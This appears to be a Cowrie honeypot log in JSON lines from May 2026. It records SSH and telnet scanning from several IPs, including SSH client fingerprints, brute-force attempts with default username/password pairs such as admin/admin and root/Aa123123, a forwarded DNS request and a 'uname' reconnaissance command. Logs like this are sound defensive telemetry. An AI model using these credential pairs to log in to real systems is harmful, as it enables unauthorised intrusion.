{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:32:57.255564Z","src_ip":"8.218.166.49","session":"9ecb0c4bab57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"66.8","message":"Connection lost after 66.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:02.687394Z","src_ip":"8.218.166.49","session":"dfaa03a153ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":43674,"dst_ip":"10.17.0.5","dst_port":22,"session":"603a87341a08","protocol":"ssh","message":"New connection: 87.251.64.176:43674 (10.17.0.5:22) [session: 603a87341a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:13.447387Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:13.452091Z","src_ip":"87.251.64.176","session":"603a87341a08","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:13.549095Z","src_ip":"87.251.64.176","session":"603a87341a08","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:13.838526Z","src_ip":"87.251.64.176","session":"603a87341a08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:13.942057Z","session":"603a87341a08","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:14.039877Z","src_ip":"87.251.64.176","session":"603a87341a08","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:14.273772Z","src_ip":"87.251.64.176","session":"603a87341a08","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"appuser","message":"login attempt [appuser/appuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:16.401018Z","src_ip":"8.218.166.49","session":"9ecb0c4bab57","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"99.1","message":"Connection lost after 99.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:17.791741Z","src_ip":"8.218.166.49","session":"9ecb0c4bab57","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:23.882007Z","src_ip":"8.218.166.49","session":"269ff919b5ef","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"63.9","message":"Connection lost after 63.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:27.022355Z","src_ip":"8.218.166.49","session":"269ff919b5ef","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40762,"dst_ip":"10.17.0.5","dst_port":22,"session":"1744dda0f4ed","protocol":"ssh","message":"New connection: 8.218.166.49:40762 (10.17.0.5:22) [session: 1744dda0f4ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:45.588917Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:45.593976Z","src_ip":"8.218.166.49","session":"1744dda0f4ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:33:45.973707Z","src_ip":"8.218.166.49","session":"1744dda0f4ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vyos","password":"vyos","message":"login attempt [vyos/vyos] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:00.338171Z","src_ip":"8.218.166.49","session":"1744dda0f4ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42862,"dst_ip":"10.17.0.5","dst_port":22,"session":"689f831be2f4","protocol":"ssh","message":"New connection: 8.218.166.49:42862 (10.17.0.5:22) [session: 689f831be2f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:07.192349Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:07.197110Z","src_ip":"8.218.166.49","session":"689f831be2f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:07.661275Z","src_ip":"8.218.166.49","session":"689f831be2f4","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"123456","message":"login attempt [steam/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:09.079664Z","src_ip":"8.218.166.49","session":"689f831be2f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35244,"dst_ip":"10.17.0.5","dst_port":22,"session":"8b2c4bf33c3f","protocol":"ssh","message":"New connection: 8.218.166.49:35244 (10.17.0.5:22) [session: 8b2c4bf33c3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:14.238284Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:14.242944Z","src_ip":"8.218.166.49","session":"8b2c4bf33c3f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":35258,"dst_ip":"10.17.0.5","dst_port":22,"session":"f3edb74341b1","protocol":"ssh","message":"New connection: 8.218.166.49:35258 (10.17.0.5:22) [session: f3edb74341b1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:20.379641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:20.383977Z","src_ip":"8.218.166.49","session":"f3edb74341b1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:30.444313Z","src_ip":"8.218.166.49","session":"f3edb74341b1","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:39.704620Z","src_ip":"8.218.166.49","session":"689f831be2f4","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:39.708358Z","src_ip":"8.218.166.49","session":"689f831be2f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"138.118.77.156","src_port":40412,"dst_ip":"10.17.0.5","dst_port":23,"session":"8a9e23dc97fc","protocol":"telnet","message":"New connection: 138.118.77.156:40412 (10.17.0.5:23) [session: 8a9e23dc97fc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:48.118249Z"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"11.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 11.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:50.942115Z","src_ip":"8.218.166.49","session":"689f831be2f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"43.8","message":"Connection lost after 43.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:50.947781Z","src_ip":"8.218.166.49","session":"689f831be2f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"123456","message":"login attempt [test/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:34:56.940510Z","src_ip":"8.218.166.49","session":"f3edb74341b1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":14.216811895370483,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:02.334882Z","src_ip":"138.118.77.156","session":"8a9e23dc97fc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"81.7","message":"Connection lost after 81.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:07.304803Z","src_ip":"8.218.166.49","session":"1744dda0f4ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"49.2","message":"Connection lost after 49.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:09.628288Z","src_ip":"8.218.166.49","session":"f3edb74341b1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.68.103.106","src_port":53012,"dst_ip":"10.17.0.5","dst_port":22,"session":"b18d19d44a61","protocol":"ssh","message":"New connection: 51.68.103.106:53012 (10.17.0.5:22) [session: b18d19d44a61]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.203789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.211000Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.295881Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"94:0e:86:7c:98:60:14:12:25:ca:dc:d4:1f:14:8c:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmebOP3NDeiNAFXALR4IRUL8EzCPQzQdk8bCvmssWolFcKqzCytqwbwBIJLW+ZYxOj1B1OMZCsRB3UmuTQpaktWAGj4CMK0WeQrMjdISuFrpAAKWLJjUeS3IV7qOukyNG8poWDkxDSO/CsCCtWIxfyJSObK32PEETR4+JftiSZbtEAl5OygcOLPgzm09UU7964E59/DSwIqUhFrLvtDCaapccttFb5Qs2+quJlDoF6Nfe89nMakAfWNIy8fZ2/6dkAps+w+T/60/7fMi0WKC0zCZC62ukLplFu0Kk8CqkYue71GtacTrUb7nk/rOKNFFfHiHxfKE6pk9YjnYy0npeB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 94:0e:86:7c:98:60:14:12:25:ca:dc:d4:1f:14:8c:84","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.704702Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"94:0e:86:7c:98:60:14:12:25:ca:dc:d4:1f:14:8c:84","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCmebOP3NDeiNAFXALR4IRUL8EzCPQzQdk8bCvmssWolFcKqzCytqwbwBIJLW+ZYxOj1B1OMZCsRB3UmuTQpaktWAGj4CMK0WeQrMjdISuFrpAAKWLJjUeS3IV7qOukyNG8poWDkxDSO/CsCCtWIxfyJSObK32PEETR4+JftiSZbtEAl5OygcOLPgzm09UU7964E59/DSwIqUhFrLvtDCaapccttFb5Qs2+quJlDoF6Nfe89nMakAfWNIy8fZ2/6dkAps+w+T/60/7fMi0WKC0zCZC62ukLplFu0Kk8CqkYue71GtacTrUb7nk/rOKNFFfHiHxfKE6pk9YjnYy0npeB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.708640Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b8:15:f9:f2:7d:b4:f1:13:77:0a:3b:e4:0a:a2:4c:4e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCc8LnFba+1rtg+1pnbgqEobxMupMbFtUdUVqzDkbn7NOVDkR7WQda6zkgmlY4ZGN5IWEH+mQi30ESnjYGD5nC1x6i6jcIJReVJD5pgkBVCQ1cIJjSwS8ScMw7imClxkL+1cITGmaOU6A0Zyflce4URevs2AavU+s5CCmXkozFYKhatVEjj6wpgLeh1hBdweXKA2EfPnoPvMdqtQq/mFkwiK9/iFQPf4o9yRzOjNAezPlLQmbg63bE9GzNgrQjO+9jLJFNlLTYTheiZCWE800LhI0ZR0FdZOJBtdfC8Hye6btxdPQyIgoNsHHoxbS/tEtnhkMCZoTMmaphQjqHzzPmL","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b8:15:f9:f2:7d:b4:f1:13:77:0a:3b:e4:0a:a2:4c:4e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T14:35:17.794941Z","src_ip":"51.68.103.106","session":"b18d19d44a61","protocol":"ssh"}
